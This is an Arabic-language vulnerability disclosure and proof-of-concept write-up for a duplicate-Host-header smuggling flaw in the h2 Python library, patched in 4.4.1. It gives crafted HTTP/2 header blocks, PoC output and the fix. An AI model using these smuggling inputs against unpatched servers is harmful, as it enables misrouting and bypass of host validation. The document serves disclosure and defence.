
PoC لثغرة CVE-2026-71554 - بدائية تهريب الطلبات عبر ترويسة Host المكررة في h2 (تم إصلاحها في 4.4.1)
هذه هي أول ثغرة CVE أكتشفها. نشرت هذا الـ PoC لتوثيق النتيجة ومساعدة الآخرين على فهمها وإعادة إنتاجها.
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg المتأثر: h2 <= 4.4.0 تم الإصلاح في: h2 4.4.1 الشدة: متوسطة (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
أثناء مراجعتي لمنطق التحقق من الترويسات في h2، لاحظت أن الدالة _validate_host_authority_header() في src/h2/utilities.py تتحقق من تطابق Host و:authority — لكنها تقارن فقط آخر ترويسة Host تراها. إذا أرسلت ترويستي Host، يستخدم h2 الثانية في فحص التطابق ويُمرر كلتيهما إلى التطبيق دون أي اعتراض.
المثير للاهتمام أن h2 4.4.0 يرفض بالفعل ترويسات Content-Length المكررة عبر ProtocolError. لكن لم يُطبَّق الإصلاح نفسه على Host أبدًا. بل كان هناك تعليق TODO في المصدر يعترف بهذه الفجوة تحديدًا:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
تستخدم _validate_host_authority_header() في src/h2/utilities.py حلقةً بنمط last-wins تسجّل آخر قيمة Host تظهر وتتحقق فقط من أن:
:authority أو Host موجودةلا يوجد أي فحص لعدد ترويسات Host. يتم تمرير كل ترويسة Host إلى التطبيق بغض النظر عن عددها.
يرسل العميل:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
يقبل h2 كلتيهما. يستلم التطبيق ترويستي Host معًا.
ينتج عن التحويل التنازلي إلى HTTP/1.1:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
تتطلب RFC 9112 في القسم 3.2 من الخادم أن يستجيب بـ 400 لأي طلب HTTP/1.1 يحتوي على أكثر من ترويسة Host. تتباين الخوادم الخلفية:
يرسل العميل:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, first Host (seen by origin)
host: good.internal <- index 1, last Host (used by h2 validator)
يتحقق h2: آخر Host (good.internal) == :authority (good.internal) — فينجح الفحص.
يستلم التطبيق ترويستي Host معًا. ينتج عن التحويل التنازلي إلى HTTP/1.1:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
الخوادم الخلفية التي تعيد أول ترويسة Host عند البحث بمفتاح واحد توجّه الطلب إلى evil.attacker بينما اعتقد h2 أنه تحقق من good.internal. تباين كامل في التوجيه بين ما تحقق منه h2 وما يعالجه الخادم الأصلي.
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
يرفع h2 استثناء ProtocolError. وهذا يؤكد أن الفجوة تخص ترويسات Host المكررة تحديدًا.
الأثر مشروط بمعمارية النشر:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
في الحالات الثلاث يُرفع ProtocolError. ولا يتم تمرير أي ترويسة.
أُضيف عداد واحد إلى الحلقة القائمة في _validate_host_authority_header():
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
اكتشفها وأبلغ عنها Sunand Mohan (https://github.com/SunandM)